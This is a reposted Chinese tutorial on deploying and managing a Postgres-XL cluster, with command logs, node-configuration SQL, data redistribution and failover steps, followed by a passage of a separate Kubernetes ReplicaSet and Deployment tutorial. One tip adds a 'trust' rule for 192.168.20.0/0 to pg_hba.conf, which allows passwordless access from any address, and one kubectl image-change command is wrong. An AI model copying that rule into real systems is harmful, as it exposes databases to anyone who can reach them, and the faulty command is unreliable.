21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-30 11:09:03
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...某节点中的pod运行过程中出现问题导致无法启动时,k8s会不断重启,直到可用状态为止 故障转移:当正在运行中pod所在的节点发生故障或者宕机时,k8s会选择集群中另一个可用节点,将pod运行到可用节点上; pod数量的扩缩容:pod副本的扩容和缩容 镜像升降级:支持镜像版本的升级和降级; 配置模板 rs的所有配置如下 apiVersion: apps/v1 版本号kind: ReplicaSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: rsspec: 详情描述replicas: 3 副本数量selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则,key就是label的key,values的值是个数组,意思是标签值必须是此数组中的其中一个才能匹配上;- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels: 这里的标签必须和上面的matchLabels一致,将他们关联起来app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建一个ReplicaSet 新建一个文件 rs.yaml,内容如下 apiVersion: apps/v1kind: ReplicaSet pod控制器metadata: 元数据name: pc-replicaset 名字namespace: dev 名称空间spec:replicas: 3 副本数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podtemplate: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 kubectl create -f rs.yaml 获取replicaset kubectl get replicaset -n dev 2、扩缩容 刚刚我们已经用第一种方式创建了一个replicaSet,现在就基于原来的rs进行扩容,原来的副本数量是3个,现在我们将其扩到6个,做法也很简单,运行编辑命令 第一种方式: scale 使用scale命令实现扩缩容,后面--replicas=n直接指定目标数量即可kubectl scale rs pc-replicaset --replicas=2 -n dev 第二种方式:使用edit命令编辑rs 这种方式相当于使用vi编辑修改yaml配置的内容,进去后将replicas的值改为1,保存后自动生效kubectl edit rs pc-replicaset -n dev 3、镜像版本变更 第一种方式:scale kubectl scale rs pc-replicaset nginx=nginx:1.71.2 -n dev 第二种方式:edit 这种方式相当于使用vi编辑修改yaml配置的内容,进去后将nginx的值改为nginx:1.71.2,保存后自动生效kubectl edit rs pc-replicaset -n dev 4、删除rs 第一种方式kubectl delete -f rs.yaml 第二种方式 ,如果想要只删rs,但不删除pod,可在删除时加上--cascade=false参数(不推荐)kubectl delete rs pc-replicaset -n dev --cascade=false 2、Deployment k8s v1.2版本后加入Deployment;这种控制器不直接控制pod,而是通过管理ReplicaSet来间接管理pod;也就是Deployment管理ReplicaSet,ReplicaSet管理pod;所以 Deployment 比 ReplicaSet 功能更加强大 当我们创建了一个Deployment之后,也会自动创建一个ReplicaSet 功能 支持ReplicaSet 的所有功能 支持发布的停止、继续 支持版本的滚动更新和回退功能 配置模板 新建文件 apiVersion: apps/v1 版本号kind: Deployment 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: deployspec: 详情描述replicas: 3 副本数量revisionHistoryLimit: 3 保留历史版本的数量,默认10,内部通过保留rs来实现paused: false 暂停部署,默认是falseprogressDeadlineSeconds: 600 部署超时时间(s),默认是600strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxSurge: 30% 最大额外可以存在的副本数,可以为百分比,也可以为整数maxUnavailable: 30% 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建和删除Deployment 创建pc-deployment.yaml,内容如下: apiVersion: apps/v1kind: Deployment metadata:name: pc-deploymentnamespace: devspec: replicas: 3selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 创建和查看 创建deployment,--record=true 表示记录整个deployment更新过程[root@k8s-master01 ~] kubectl create -f pc-deployment.yaml --record=truedeployment.apps/pc-deployment created 查看deployment READY 可用的/总数 UP-TO-DATE 最新版本的pod的数量 AVAILABLE 当前可用的pod的数量[root@k8s-master01 ~] kubectl get deploy pc-deployment -n devNAME READY UP-TO-DATE AVAILABLE AGEpc-deployment 3/3 3 3 15s 查看rs 发现rs的名称是在原来deployment的名字后面添加了一个10位数的随机串[root@k8s-master01 ~] kubectl get rs -n devNAME DESIRED CURRENT READY AGEpc-deployment-6696798b78 3 3 3 23s 查看pod[root@k8s-master01 ~] kubectl get pods -n devNAME READY STATUS RESTARTS AGEpc-deployment-6696798b78-d2c8n 1/1 Running 0 107spc-deployment-6696798b78-smpvp 1/1 Running 0 107spc-deployment-6696798b78-wvjd8 1/1 Running 0 107s 删除deployment 删除deployment,其下的rs和pod也将被删除kubectl delete -f pc-deployment.yaml 2、扩缩容 deployment的扩缩容和 ReplicaSet 的扩缩容一样,只需要将rs或者replicaSet改为deployment即可,具体请参考上面的 ReplicaSet 扩缩容 3、镜像更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 镜像更新策略有2种 滚动更新(RollingUpdate):(默认值),杀死一部分,就启动一部分,在更新过程中,存在两个版本Pod 重建更新(Recreate):在创建出新的Pod之前会先杀掉所有已存在的Pod strategy:指定新的Pod替换旧的Pod的策略, 支持两个属性:type:指定策略类型,支持两种策略Recreate:在创建出新的Pod之前会先杀掉所有已存在的PodRollingUpdate:滚动更新,就是杀死一部分,就启动一部分,在更新过程中,存在两个版本PodrollingUpdate:当type为RollingUpdate时生效,用于为RollingUpdate设置参数,支持两个属性:maxUnavailable:用来指定在升级过程中不可用Pod的最大数量,默认为25%。maxSurge: 用来指定在升级过程中可以超过期望的Pod的最大数量,默认为25%。 重建更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: Recreate 重建更新 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.2 -n devdeployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-5d89bdfbf9-65qcw 1/1 Running 0 31spc-deployment-5d89bdfbf9-w5nzv 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-65qcw 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-w5nzv 1/1 Terminating 0 41spc-deployment-675d469f8b-grn8z 0/1 Pending 0 0spc-deployment-675d469f8b-hbl4v 0/1 Pending 0 0spc-deployment-675d469f8b-67nz2 0/1 Pending 0 